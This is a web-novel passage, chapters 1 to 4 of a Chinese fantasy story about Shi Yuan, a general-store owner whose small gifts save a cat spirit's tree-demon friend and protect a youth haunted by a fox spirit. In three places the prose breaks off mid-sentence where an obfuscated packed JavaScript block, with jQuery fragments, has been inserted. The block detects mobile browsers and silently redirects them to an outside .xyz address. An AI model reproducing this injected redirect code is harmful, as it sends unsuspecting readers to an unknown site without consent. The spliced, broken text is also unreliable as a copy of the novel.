《我开的真不是万能商店》 1. 第 1 章 立秋过后，多雨。 天气凉快了些，但到处都湿漉漉的，又闷又潮。 今天店里没什么生意，没有人打断思路，时愿一口气画完一张水彩。 把画贴在墙上晾干，时愿打开冰箱，拿了一罐珍藏的荔枝汽水。 甜滋滋的气泡刺激味蕾，满口的荔枝香将她带回盛夏，浑身的潮气仿佛被炽热的阳光烤干，获得了短暂的清爽。 时愿用汽水罐贴着脸降温：“好想吃新鲜荔枝啊，要等到明年了……” “咚”地一声，一只橘白小猫跳上窗台，圆溜溜的眼睛盯着时愿手里的汽水罐。 小猫脸很圆，脸上的白色部分是端正的八字形，一双翡翠绿的眼睛，清澈如一汪潭水。 时愿移动汽水罐，橘猫的视线也跟着移动。 “咪咪，你想玩这个？” “喵！”字正腔圆，读音像极“妙”字。 “这个不能给你玩。”时愿拉开抽屉，拆了一包多春鱼冻干，递到小猫面前，“给你吃好吃的。” 小猫舔了一口鱼干，瞪大眼睛，叼走鱼干，一口吞下。它不管目瞪口呆的时愿，舔了舔爪子，跳下窗台。 时愿探头去看，只见小猫钻进夹道，消失不见。 “吃完就跑，没有小猫德啊。” 好歹让她摸摸嘛。 …… 夹道里，橘白小猫刹住脚步，抬起前爪，仅靠后足站立，脸上毛发褪去，五官变幻成人类小孩的模样。 它，或者说她，伸出右手食指，圆润的人类指甲变得尖长锋利，虚空划开一道裂缝，她把手伸进空间裂缝里，掏出银杏叶荷包。 裂缝愈合，她甩了甩手，指甲缩了回去。 白树生回味小鱼干：“味道真不错喵，人看起来笨笨的，但做食物还真是有一套的喵。” 那个女人还摸了她，动作那么轻柔。 白树生忍不住摸向脑袋，碰到毛茸茸的耳朵，连忙按下去。 可不能露馅儿喵！ 白树生检查一番，确定化形术没有破绽，跑回杂货铺。 她用双手按住窗台，小短腿一蹬就要跳上去。 一只手拦住了她。 “小朋友，不能爬窗，很危险哦。”时愿指了指大门，“走正门。” “……” 白树生生硬拐弯，不小心碰到门扉，木门摇晃着发出“吱呀”声，好像随时要倒下。 刚才没留意，这家店也太破了吧？ 来到柜台前，白树生打开钱包，将一枚珍贵的山海币放在桌面上，垫着脚往前推了推。 “我要买东西喵。”白树生说完立刻懊恼地捂住了嘴巴，完了完了一紧张就喵了，要露馅儿了喵！ 小孩给的硬币一面刻金元宝，另一面刻被山和海围绕的数字1。 游戏币？最近流行的儿童玩具？ “宝宝，这个硬币不能用来买东西啊。”时愿拿出几枚硬币，一一摆开，“这种硬币才能用来买东西，回家之后可以问一下爸爸妈妈哦。” 白树生慌了。 原来林小熊说的是真的，人类不收山海币！ 怎么办怎么办，好不容易找到那样东西，却买不到。 “我可以给你打工换喵？”白树生双手交握，大大的眼睛发射萌感光波。 这小孩说话喵来喵去，怪可爱的。时愿忍俊不禁：“你要买什么东西呀？” 白树生指向半瓶荔枝汽水：“我要买这个……”喵。 时愿：“这瓶汽水我喝过了哦。小朋友少喝汽水，你去拿一瓶牛奶或者酸奶吧，我请你喝。” 白树生把头摇成拨浪鼓：“我只要这个汽水。” 时愿同她解释：“这个汽水市外买不到，前段时间停产了，市内也买不到了。我好不容易才搜罗了十几瓶，这已经是最后一瓶了。” 天塌了。白树生只剩下这个念头。 都怪她跑得太慢了，林小熊说过，人间有一种公蛟车，速度像蛟一样快，混上车就可以省很多力气和时间。她有点害怕那些飞驰的铁家伙，没敢钻进它们的肚子里。 要是她再勇敢一点，来得早一点就好了。 “你可以帮我再找一瓶喵？”白树生说，“你要我做什么都可以！” “真的找不到了。”时愿见小孩急得快哭了，拿了一瓶荔枝牛奶，“给你这个行不行？也是荔枝味的，很好喝。” 白树生：“不一样的姐姐可能不喜欢。” “原来是帮姐姐跑腿啊。”时愿说，“你回去告诉她买不到，她不会怪你的。” “不是跑腿，我想找到荔丽汽水，送给姐姐。” 白树生仰头看着时愿，眼泪在眼睛里打转：“从我出生开始，姐姐就陪在我身边，她是我最好的朋友。前段时间，她做了一场大手术，现在很虚弱，好起来的机会很小很小。她和我说过很多次荔丽汽水，我知道，她真的很想再喝一次这个汽水。只要喝到荔丽汽水，她心情就会变好，就会好起来了！” 这些话是林小熊教她的，林小熊说，这样说人类就能理解了。 时愿摸了摸她的脑袋：“原来是这样啊，乖宝，你的心意一定能传达给你的姐姐。” 时愿撕下一张便签，在上面写了句祝福语，贴在牛奶瓶上：“这瓶牛奶送给你姐姐，我会帮你找荔丽汽水，但不一定能找到。过两天你来店里看看？” “你是一个大好人，谢谢你！”白树生破涕为笑，把银杏叶荷包推给时愿，“这个送你，这是我姐姐亲手做的喵。” 这个荷包很别致，叶子看着像真的一样，但世界上怎么可能有这么大的银杏叶？ “我不能收……”时愿抬起头，哪里还有小孩的踪迹？ “跑得真快。”她叹气，只能把荷包收起来，等小孩下次过来，再还给她。 时愿能理解她的心情。 大约三个月前，她的男朋友苏烛出了车祸，连人带车掉进海里，至今没有找到尸骨。 所有人都说他生还的几率为0，苏烛的叔叔坚持等了两个月消息，最终无奈接受现实，给他举行了葬礼。 参加完苏烛的葬礼，时愿辞去不愉快的工作，回了老家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364203|183848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她和苏烛是青梅竹马，感情深厚。爸妈一开始担心她接受不了这件事，留下心理创伤，寸步不离地守着她。 后来见她不仅能吃能睡，还天天来店里帮忙，才放下心，把杂货铺交给她，和老同学们旅游去了。 知情人都说时愿大心脏，也有人说她薄情。 只有时愿自己知道，她在等奇迹发生。她始终无法相信，那个生命力顽强，算无遗策的苏烛，会死在一场疑点重重的车祸里。 …… 白树生回到夹道，用指甲划开空间裂缝，把牛奶放进去。 她变回小猫，踩着雨檐跳上天台，在紧挨着的民房上奔跑。 不知跑了多久，路上起了雾，隐约可见缓慢行走的巨影。白树生吓得炸毛，硬着头皮在这些看不清真面目的巨物中穿梭，直到雾气消散，她再次回到人声鼎沸的人间。 爪垫被汗打湿了，白树生打了个滑，险些摔下高楼。 她一阵后怕，舔了舔爪子，抓紧时间往妖界入口跑。 直到黄昏笼罩万物，一棵遮天蔽日的银杏树出现在眼前，白树生停下脚步，高兴地大喊：“绘秋！绘秋！我给你带了礼物！” 一片银杏叶落在小猫头顶。 银杏树里传出一个温柔的声音：“你又去人间了？我跟你说过多少次了，对你这样的小妖怪来说，人间太危险了。” 白树生想起那场突然出现的雾，心里还在打鼓，嘴上却说：“一点都不危险！人间可好玩了！” 她捧出荔枝牛奶：“绘秋，你尝尝看，是你喜欢的荔枝味。” 白绘秋很感动：“你先喝，给我留一点尝尝味就好了。” 白树生以为她不喜欢，沮丧道：“绘秋，对不起……我本来想给你找荔丽汽水，店主说那个汽水已经停产了。” “原来停产了啊。”白绘秋感慨，“已经过去很多年了。” 树干后面探出一颗橘红色的毛茸茸的脑袋：“笨蛋树生，我都说了和你一起去，你非不同意。我要是去了，一定能找到荔丽汽水。” 白树生气呼呼道：“林小熊！还不是因为你的化形术失灵了，我才自己去的！别以为我不知道，你这个样子出去，被人类看到，会被抓去动物园的！” 林小熊是一只小熊猫，在人间是保护动物。 “不要吵架……”白绘秋突然一声哀叫，“不好，我体内的天雷火变大了。我要撑不住了，你们快走！” 前不久，1500岁的白绘秋经历了雷劫。林小熊说，这和人类得了绝症要动大手术一样，九死一生，捱过去了就能迎接新生。 树妖跑不了，只能老老实实挨雷劈。 刚挨了第一道天雷，银杏树的树干内部就开始燃烧。 她内燃之后，雷云就散了。 灵气衰竭的时代，连天雷都抠抠搜搜，懒得劈了，让妖自生自灭了。 白树生含着泪说：“我不走，绘秋，我要帮你！” “你一个刚能化形的小妖，留在这里只会送命。”白绘秋虚弱极了，拼尽最后一丝灵力说，“小熊，快带她走……快啊……” 2. 第 2 章 小熊比树生理性，树生钻牛角尖的时候、杀敌一千自损八百的时候，小熊总能说服她，让她恢复理智。 白绘秋以为这次也一样，小熊会顾全大局，说服树生离开。 可是，林小熊说：“绘秋，不到最后一刻，我们不会放弃你的。” “我们一起把天雷火扑灭！”白树生眉心显现妖兽纹，释放灵气。 大量的灵气像一团雨雾，扑向银杏树，天雷火被灵气冲散，再次凝聚的时候，火势竟然变小了。 绘秋：！ 林小熊：“白小猫！你怎么变强了！！！” 白树生比他还懵圈：“是啊，我我我怎么变强了？” 白绘秋被灵气滋润，精神好多了：“你好好想一想，可是今日有什么机缘？” 难道是那场大雾？ 不，白树生可以确定，自己没有受到那场大雾的影响。 见她不回答，白绘秋追问：“你在哪里买的牛奶？” 白树生：“在一家很破的杂货铺。” 林小熊：“你还知道杂货铺呢？” “我当然知道！”白树生甩甩尾巴，“好吧，我是听路上的人说的。” 白绘秋：“这家杂货铺叫什么名字呢？” “我不知道。”白树生理直气壮，“我又不识字。” 白绘秋叹气：“你没有人间的钱，用什么代价换的牛奶？” “店主送我的，但是我记得绘秋的教导，把叶子荷包送给她了。”小猫倒豆子一样分享今天的经历，“她还请我吃了一条小鱼干呢，又酥又脆又香，可好吃了。她长得特别好看，是我见过最好看的人类，比画皮妖画了一百年的画皮还漂亮呢。” “笨蛋，凡人怎么可能比画皮漂亮？”林小熊说，“她一定是修士，或者妖。” “那条鱼干必定不简单，或许是文鳐鱼之类的珍贵灵鱼。能随便给出灵鱼的店主更是深不可测，我活了这么多年，从来没听说过这样一位开着杂货铺的隐世大妖或修士。”白绘秋忧心忡忡，“那位前辈给了这么大的机缘，也不知道那只荷包能不能让她满意。” 不过，那只荷包是用她的长生叶做的，佩戴可以延年益寿，已经是她能给出最好的东西了。 白树生瞳孔颤动：“这么珍贵的鱼干，她好像有一抽屉。” 林小熊和白绘秋同时沉默了。 白绘秋语气严肃：“树生，你仔细回忆，有没有对她许诺什么？” 白树生：“我说她让我做什么都可以，然后她就给了我这瓶牛奶，还说可以帮忙找荔丽汽水。” 两妖再次沉默了。 林小熊：“你这是把自己卖给店主了。” 白树生欲哭无泪：“那家店那么破烂，谁能想得到店主不是凡人……对了，她还写了张纸条。” 白树生在裂空口袋里找了半天，终于找到了那张脱落的便签，用灵气将便签送到树干前：“绘秋，上面写了什么？” 白绘秋念道：“祝早日康复，重获新生。落款是——愿望杂货铺。” 愿望杂货铺。 原来杂货铺名为——愿望。 “店主给的鱼干是灵鱼，这瓶牛奶肯定也不是凡品，说不定能救绘秋！”白树生拧开瓶盖，准备把它浇到树根上。 林小熊拦了一下：“等等，绘秋是树，浇牛奶要用水稀释。” 他们去打了一桶溪水，混合牛奶后，浇到树根上。 白绘秋永远都忘不了这一刻的感受。 她的根系疯狂地汲取土壤中的水分，被磅礴的灵气笼罩全身，仿佛回到灵气时代，一呼一吸之间，就能汲取天地灵气。 白绘秋从巨大的震撼中回过神来，发现灼烤魂魄的天雷火彻底熄灭了。 随手给出的牛奶当然不可能熄灭天雷火，恐怕，这位店主在看到小猫的第一眼，就知道她的真身是什么，从哪里来，又为何而来。 所以赐予能浇熄天雷火的灵药，实现她的心愿。 大千世界，皆在店主眼中。 活了1500年，在这个时代堪称大妖的白绘秋，连灵魂都在颤栗。 “这位店主到底是何方神圣？” 听完白绘秋的推测，林小熊被店主的深不可测吓得毛都炸开了。 林小熊很快就冷静下来：“不管店主是哪路神仙，绘秋，你还是先想想怎么度过接下来的雷劫吧，你没死成，境界也没有变动，劈了一半的天雷肯定还会回来！” …… 时愿逛遍镇上的超市和小卖部，也没有找到荔丽汽水。 只好发朋友圈和网络帖子求助。 晚上，朋友圈收到了好消息。 朋友的朋友的二姨的侄子是荔丽汽水的忠实粉丝，早在荔丽汽水停产前，就囤了好几箱。 这位好心人叫吴雨，住在县城，时愿和他联系上之后，同他商量好，明天让网约车司机师傅去他家楼下取汽水。 小镇没有跑腿骑手，只能用这种质朴的方式。 翌日上午，司机师傅准时来到杂货铺。 时愿和司机师傅打招呼：“刘叔，我把伞放到后备车厢，你记得给他，有什么问题随时打我电话。” 看吴雨的朋友圈，似乎对传统文化很感兴趣，时愿赠他一把亲手画的油纸伞，以表谢意。 刘叔：“好嘞，放心，保证送到。” 下午，刘叔回到小镇，把一小箱汽水放到柜台上，对时愿说：“你那个朋友，收到伞特别高兴，当场就打开来看，笑得见牙不见眼。伞上面的画是你画的吧？实在太美了，都可以拿出去卖了。” “谢谢刘叔夸奖，随便画的，不成气候。”时愿翻出一把新的油纸伞，“正好还有一把，叔要是喜欢就拿着。” 刘叔同她熟：“那我就不跟你客气了，我拿去给我女儿，她就喜欢这种漂亮的东西。过两天摘火龙果，叔给你拿一箱过来。” 时愿一听就馋了，刘叔家种的火龙果最清甜，以前在城里工作，一到采摘季，爸妈就会给她寄。 今年总算能尝到当天采摘的火龙果了。 时愿给吴雨回信息。 [愿望杂货铺]：汽水已收到，谢谢。 [吴雨]：不客气不客气，谢谢大佬送的油纸伞，上面的画绝了！我要给它买个保护罩，好好收藏起来！ [吴雨]：大佬，你在网上有绘画账号吗？我想关注你！ [愿望杂货铺]：没有，要是以后有起号的打算，一定告诉你。 [吴雨]：好的好的，我要做你的第一个粉丝！ 网络帖也有几十条回复，时愿在帖子里说了后续，告诉关注这件事的网友们，汽水已经找到了，等买汽水的小孩来取。 时愿把新画的水彩钉在墙上。 8开的画纸分成两格，第一格画了一只跳上窗台的橘白小猫，第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364204|183848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二格画了一个准备爬窗的小女孩，穿着橘色的上衣，头发蓬松卷曲，头上顶着两只毛茸茸的猫耳朵。 这个小孩出现的时候，时愿就觉得，她和那只吃了就跑的小猫长得好像，于是产生了这个灵感。 那只橘白小猫要是能化形成人类，大概就是这个样子吧？ …… “我想做大佬的第一个粉丝。”吴雨着迷地欣赏着手工油纸伞上的画，片刻，苦着脸说，“希望我能活到那个时候。” 吴雨今年十九岁，是一名准大学生。好不容易考上理想学校，人生才刚刚开始……却随时可能宣告结束。 大约一个月前，吴雨开始频繁做噩梦。 一开始是梦到有什么东西在窗户外面看着他，不说话，一动不动，吴雨总是在想起卧室在五楼时惊醒。 后来，他梦到这个东西坐在他身上，梦里看不清面容，他被压得透不过气，总在半夜因为憋气惊醒。 情况愈演愈烈，连大白天睡着也会做噩梦。吴雨被折磨得精神衰弱，家人问他是不是哪里不舒服。无奈之下，吴雨和家人说了来龙去脉。 妈妈认为他是高考时压力太大，现在一下解放了，积压的情绪反弹了，想带他去看医生。 爷爷听说了这件事，特意来县城看他，一进家门，爷爷脸色就变了，抓着他的手问这段时间他都去过哪里，有没有碰不该碰的东西。 吴雨的爷爷算半个风水先生，祖传的手艺，他虽然不专职干这个，但名气很大，常有客人慕名而来。 吴雨因为家学渊源，对这些东西半信半疑，在爷爷的追问下，他仔细回忆，确实想起了一件有些奇怪的事情。 而且，那件事情恰好发生在他开始做噩梦的前一天。 那天，他和几位同学一起去市里爬山，忘了谁起的头，他们嫌主路上人太多，走了野路。 野路尽是泥泞和杂草，爬到半山腰，几个人都累得不行，于是找了个地方歇歇。 吴雨坐在一个小石堆上，过了一会儿，他感觉有什么东西在抓自己的腿，吓得他跳了起来。 结果什么东西都没有，那小石堆不堪重负，哗啦啦地倒了，一块石头滚到他脚边，他发现上面刻着几个褪色的字—— 瓜山文。 吴雨大大咧咧的，也没在意，很快就把这件事抛到脑后了。 爷爷听完，脸色变得惨白，额头上布满了冷汗，用钢筋铁骨的两只手抓着吴雨的肩膀：“傻仔，什么瓜山文，那是褪色的——狐仙坟啊！” 吴雨这个倒霉蛋，坐塌了狐仙的老家，被缠上了。 吴爷爷无力解决，连夜请来一位同行。 这位风水先生很年轻，姓叶。来了以后，叹了一百次气。 “你要不是吴老的孙子，我就让你准备后事了，招惹谁不好，偏偏惹上这位。不过，你小子八字很硬，命不该绝，还有一线生机。” 叶先生在吴家布置了一堆东西，吴雨也看不懂这些东西的用处。 叶先生嘱咐他，日行一善，多积阴德，尤其要竖起耳朵，擦亮眼睛，近期他很可能会遇上一位高人，得到一个救命的机缘。 那就是他的一线生机了。 “高人啊高人，求求你快点出现，救救我的小命吧。”吴雨抱着油纸伞，恐惧地缩了缩脖子。 最近家里越来越冷了。 虽然不开空调能省电费，但是费命啊！ 3. 第 3 章 镇上新开了一家包子铺，开业活动买三送一。 时愿买了两个叉烧包，一个芋头包，一个南瓜馒头。 这家的包子个头都很大，拿在手里很有分量，一顿肯定吃不完。 今天米饭煮少一点吧。 时愿提着包子去买菜。 海边小镇的菜市场天天都很精彩，光是水产品就占了一半的面积。 时愿挑了几条鲜鱿，老板娘认得她，一边帮她处理鱿鱼的内脏，一边唠家常：“小妹，听你妈妈说，你以后就住在家里，不出去打工啦？” 时愿：“对。” “听说你爸妈把店交给你，出去旅游啦，有个孝顺的乖乖女儿，真是福气哟。”老板娘压低声音说，“你男朋友的事……你心里好受些了吗？” 小镇没有秘密，家里发生点什么事，很快就能传遍全镇。小镇居民又热心，见了面总爱关心两句。 时愿平静道：“我没事。” “那就好，想开点，人总是要朝前走的。你千万不要钻牛角尖，还那么年轻，可以去认识一点新朋友，换换心情。”老板娘话音一转，“我外甥是海洋大学的研究生，长得很俊，性格温吞，而且他家的基因很长寿……” 要是苏烛知道，他的葬礼办了不到一个月，就有一堆人急着给她介绍对象，会不会气得从海里爬上来？ “我把他的名片推给你，你们有空就聊聊天，交个朋友嘛。”老板娘擦干净手，拿出手机。 “谢谢阿姨，我最近忙，没时间聊天。”时愿温和一笑，“鱿鱼好了吗？” “好了好了。”老板娘把处理干净的鱿鱼倒进塑料袋，不死心道，“聊天哪里用得着多少时间……” “这么早出来买菜啊。”时愿和路过的陌生大姨打招呼，“今天的鱿鱼很新鲜。” “是吗？”正为菜单发愁的主妇立刻停下脚步，“老板娘，鲜鱿多少钱一斤啊？有不要的鱼下水吗，给我拿回去喂鸭仔。” 时愿趁机溜走。 小镇也有很好的一面，这里的蔬菜水果又水灵又新鲜，卖水果的摊贩绝不介意让你尝了再买。 时愿买了一袋李子，老板不仅给她抹零，还顺手塞了一个百香果：“我家种的，尝尝，很甜的。” 买完菜，慢慢溜达回家。 远远看到一个小豆丁站在杂货铺门口，橘色上衣很打眼。小豆丁站得笔直，脚边一个大包裹，不时左右张望，表情严肃。 看到时愿，小豆丁眼睛噌地亮起：“店长！” 正是那天来买荔枝汽水的小朋友。 时愿目光落在她脚边的大包裹上，这是个破布包裹，穿了根木棍，十分原始。 时愿的表情也严肃起来：“乖宝，你不会是离家出走了吧？” “没有没有。”白树生澄清，“我姐姐让我来的，这些都是她让我带给您的谢礼喵！” “没有就好。”时愿开门，“吃早餐了吗？” “没吃。”白树生诚实回答。 时愿给她分了一个叉烧包：“吃。” 白树生双手接过，乖巧恭敬得不得了：“感谢店主的馈赠！” “……”这娃最近看了什么动画片？这词汇量不得了啊。 “你姐姐的身体怎么样了？” 白树生正要回答，忽然注意到墙上多了一张画。 这张画上面画的是一只橘白小猫，下面画的是准备爬窗的猫耳朵小女孩。 这画的根本就是她本猫！ 绘秋和林小熊猜得不错，店主早就识破她的真身了！ 白树生的背后被汗水打湿了，悄悄挪开目光，紧张地背诵绘秋教她的话：“托您的福，姐姐暂时没有生命危险了，但还要动两次手术。她现在太虚弱了，没办法亲自来向您表达谢意，请您原谅。您上次说会帮忙找荔丽汽水，有消息了吗？” 据林小熊分析，店主答应帮忙找荔丽汽水，是知道一瓶灵药不能让白绘秋度过雷劫，暗示她们可以再次上门求药。 绘秋是死是活就在店主的一念之间。 时愿一听就知道，这番话是大人教她说的。只是帮个小忙，小豆丁的姐姐也太郑重了吧，家教很严的样子。 “已经找到了。”时愿拿出吴雨给的六瓶荔枝汽水，“你一个人拿得回去吗？” 灵药珍贵，店主是担心她在路上遇到麻烦吧？ 白树生让她放心：“可以，我力气很大！” 一拳可以揍飞十个林小熊！ 白树生两口吃掉包子，拆开布包：“您看，这是我晒的鱼干，这是我姐姐的叶子和白果，这是邻居爷爷的松果……” 时愿睁大眼睛看着她的喉咙：“乖宝，你没噎着吧？” 那么大的包子，小豆丁两口就吞下去了！她的消化系统是啥构造啊！ “不噎！”白树生秒答。 时愿还是有点担心，给她拆了一瓶牛奶：“喝点奶顺一顺，下次要细嚼慢咽，知道吗？” 白树生：“遵命！” 店主这是在提点她呢，店里的东西都不是凡品，不能像牛吃牡丹花！ “这些叶子和松果我用得上，谢谢。”时愿找出银杏叶荷包，“这个还你。” 白树生背着手不肯接：“姐姐说，希望您能收下，您可以送给别人或者卖出去。” “那我就收下了。转告你姐姐，喝汽水一定要问过医生……”时愿还是不太放心，“你又不记得家里的电话号码，要不我还是和你走一趟吧。” “这次我带了手机！”白树生掏出一台老式手机。 这是施了障眼术的传讯玉简，林小熊淘来的宝贝。 “那好，给你家大人打个电话吧。” 时愿接过手机，拨通通讯录上唯一的号码。 那边响起一个温柔的女声：“树生？” “你好，我是愿望杂货铺的老板。” “您好，我是树生的姐姐。您怎么亲自打来电话？”语气明显紧张起来。 “没什么大事，我把荔丽汽水给她了，听说你马上要动手术，想和你说一声，喝汽水一定要问过医生的意见……”时愿聊完，把手机还给小朋友，“原来你叫树生啊，还没到开店时间，要我送你回家吗？” “不麻烦您。”白树生抱起汽水，鼓起勇气问，“您是能听到心愿，替人实现心愿的神兽吗？” “噗。”时愿被她的说法可爱到了，捏了捏她的脸蛋，逗小孩：“你怎么知道？我是哦。” 店主靠得很近，白树生看到她笔直的睫，墨黑的瞳，里面装着自己的影子，是一只炸毛的猫。 白树生的心脏怦怦直跳，差点现出原形。 她猜中了！原来店主是上古神兽——麒麟！ …… 小豆丁离开后，时愿把菜放进冰箱，慢吞吞地开始吃早餐。 包子还温温的，皮薄馅大，用料很好，叉烧酱味道特别好。 时愿发朋友圈帮忙宣传了下，想起之前发的求助贴，又去发了新的后续，告诉网友们，小孩已经拿走汽水了，小孩的姐姐脱离生命危险，还要做两次手术，她和小孩姐姐打了电话，对方保证会听医生的话，大家可以放心。 发完后续，她退出登录，把手机放到一边，在桌上摊开一张宣纸，用黑檀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364205|183848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木蝴蝶螺钿镇纸压平。 今天练字。 沉浸在书法中的时愿并不知道，在永远有人活跃的网络上，那个不起眼的帖子，悄无声息地火了。 [祝早日康复，另：这个汽水真的有这么好喝吗？吃货好奇。] [荔枝重度爱好者拍着胸脯告诉你，这是我喝过最好喝的荔枝汽水，味道特别纯正，不是那种香精味！可惜很难买到，我每次去海市必买一箱，囤着慢慢喝。] [初中的时候超级爱喝，原来已经停产了啊……] [一下子想起了好多珍贵的回忆，我也好想再喝一次荔丽啊。] [好想知道到底有多好喝，这个汽水真的不能回归吗？] 帖子点赞量迅速破万，网友们纷纷@生产荔丽汽水的饮料公司。 时愿对此一无所知。 她练字太专注，饥肠辘辘，忙着做饭。 鲜鱿用葱段爆炒，鱼干则和腊肠一起蒸，再清炒一个生菜，配上早上买的南瓜馒头。 有肉有菜，丰盛。 鱼干一出锅就香迷糊了，时愿吹吹热气，迫不及待地尝了一口。咸淡适宜，肉质绵密，一点鱼刺都没有，不知道是什么鱼，鲜得掉眉毛。 时愿后悔没煮白米饭了。 这鱼巨大，还剩下好多，明天送去给奶奶，她一定爱吃。 …… 吴雨又做梦了。 他依旧梦到了自己的房间，那个盯着他的怪影消失了。 他还没来得及松一口气，突然一阵地动山摇，天花板哗啦啦地塌了。 他吓疯了，冲出房间，大喊爸爸妈妈。 没有人应答，他找了一圈没找到人，只好往楼下飞奔。 楼梯一段段地坍塌，只要跑慢一步就万劫不复。 好不容易逃出生天，他眼睁睁看着自己家的房子塌成一片废墟。 大雨毫无预兆地降落，他站在雨中，身体越来越冷。 吴雨抱着手臂打着哆嗦：“我好像有一把伞，大佬送的油纸伞……” 这个念头一出来，他眼尖地看到，废墟之上有一把油纸伞，因为有保护罩，完好无损。 他高高兴兴地跑过去，撑开伞，身体一下就变暖和了。 吴雨醒来的时候，内心难得平静。 撑开的油纸伞斜斜插在床头上，仿佛在为他遮风挡雨，保驾护航。 吴雨起身，收好伞，看到墙上有无数道狰狞的爪痕，凌乱交错，仿佛有野兽曾在这里无能泄愤。 这一切都太诡异了，吴家再一次联络了叶先生。 叶先生问：“伞是哪来的？” 吴雨一五一十地回答。 叶先生沉吟片刻：“你难道不明白吗？这个梦就是狐仙的遭遇啊，你坐塌了它的老家，它无处可去，只身飘荡，日晒雨淋。现在你有伞遮雨，它没有，必定更加怨恨。这把伞护得了你，护不了你家。墙上那些爪痕就是证明，不平息它的怨气，总有一天会把你家的墙挖塌。” 吴雨头皮发麻：“那怎么办？我把伞送给它？” “这把伞是一个筹码，它以为你背后有人罩着，不敢贸然出手。我再去你家一趟，看看能不能和它说上话。要是不行，就得和你去拜访一下那位高人了。” 挂了电话，吴雨看着手里的油纸伞，兴奋压过了恐惧。 原来送他伞的大佬就是叶先生卦象中说的高人！ 兴奋完，他又有点忐忑。 能被叶先生这样尊敬，这位高人可能是爷爷那辈的老祖宗了。他以为是同龄人，发消息的时候没大没小，希望没有给大佬留下糟糕的印象。 4. 第 4 章 又是一个阴天，刘叔送来了一箱火龙果。 果实又大又饱满，用硬纸板隔开，区分了红心和白心。 时愿问：“刘叔，你不是说明天才去摘火龙果吗？” “急性子，等不及了。”刘叔笑着竖起大拇指，“我女儿特别喜欢你画的伞，说以后也想学画画。” 刘叔聊了两句就去忙工作了。 时愿挑了一些火龙果，带上剩下的鱼干，开小电驴去奶奶家。 奶奶和大伯一家住在村里。 时愿到的时候，奶奶刚溜达回来，摸摸她的脸蛋：“乖宝，吃早餐了没？” “吃过了，你刚刚去哪里啦？” “就去隔壁看看。”奶奶摇摇头，“他们家最近有点不安生。” 说曹操，曹操到。 隔壁家的罗婶端着一篮子包子过来，见到时愿，唇角扬了起来：“小愿来了！我刚想请你奶奶给你打电话呢！” “罗婶。”时愿笑了笑，“找我有什么事吗？” “这是我家自己做的包子，有肉包和菜包。”罗婶把篮子递给时愿，看了下四周，压低声音说，“是这样的，我家菜园子的门和鸡鸭舍的门，从几天前开始就打不开了，门口的灯一到晚上就闪，换了好几个灯泡也没用。我们一家都吓坏了，就怕是……小愿，你能帮忙看看吗？” 这种事情时愿经常遇见，非常有经验，一听就知道，罗婶家是把这些小故障脑补成灵异现象了。 这种时候，只要顺着他们，解决掉故障，安抚两句就可以了。 “行，我去帮忙修理一下。”时愿给罗婶塞了两个火龙果，“刘叔给的，甜。” 吃点甜的，正好放松一下心情。 罗婶却没有心情吃果子，亦步亦趋地跟着时愿。 时愿先去看了菜园子，她轻轻一推，门就开了。 时愿看向罗婶：“之前可能是哪里卡住了，现在没事了。” 罗婶眼中的不安已经消失了大半，用全心信赖的目光看着时愿：“那这些菜我们还敢吃吗？” “当然可以。”时愿由衷夸了句，“你种的茄子和柠檬长得真好，看着就很好吃。” 罗婶笑道：“种太多了，都吃不完，等会儿给你摘一些带回去。” “那我就不客气啦。” 接着又去看鸡鸭舍，罗婶家的地很宽敞，她种了一些果树，用不锈钢棍打桩，用铁网和防雨布围出一个简易的鸡鸭舍。 时愿推了推，门纹丝不动。 罗婶的心立刻提到了嗓子眼。 时愿用了点力气，喀嚓一声，门倒了。 “……”时愿有点抱歉，“不好意思，没收住力气。” 罗婶的心一下放回了肚子里：“不用收力！” 时愿的法力果然很强大，要知道，刚出事那会儿，他家那口子用脚踹了半小时，这扇门都纹丝不动！ 时愿一上手，连门都拆下来了！ “诶？”防雨布围住的地方太暗了，时愿这才看到，邻居家的老爷子抱着一只大鹅，蹲在角落里，一声不吭地看着他们。 时愿经常和奶奶打电话，知道老爷子得了阿尔茨海默症，人变得糊涂了。 难怪鸡鸭们全都挤在另外一边，一动不动，原来是被他吓的。 时愿走进鸡鸭舍，蹲在老爷子面前：“石爷爷，你怎么蹲在这里？我带你出去好不好？” 老爷子的衣服都是泥污，应该是翻进来的时候摔了一跤。 他抱着大鹅不肯撒手，瞅了一眼罗婶。 时愿没有回头，不知道罗婶已经吓得快晕过去了。 “罗婶不会生气的。”时愿耐心哄老爷子，朝他伸手，“我牵你出去。” 老爷子抱着大鹅往里缩了缩，轻轻发着抖。 “不怕不怕。”时愿继续哄，“你要怎么样才肯出去呢？” 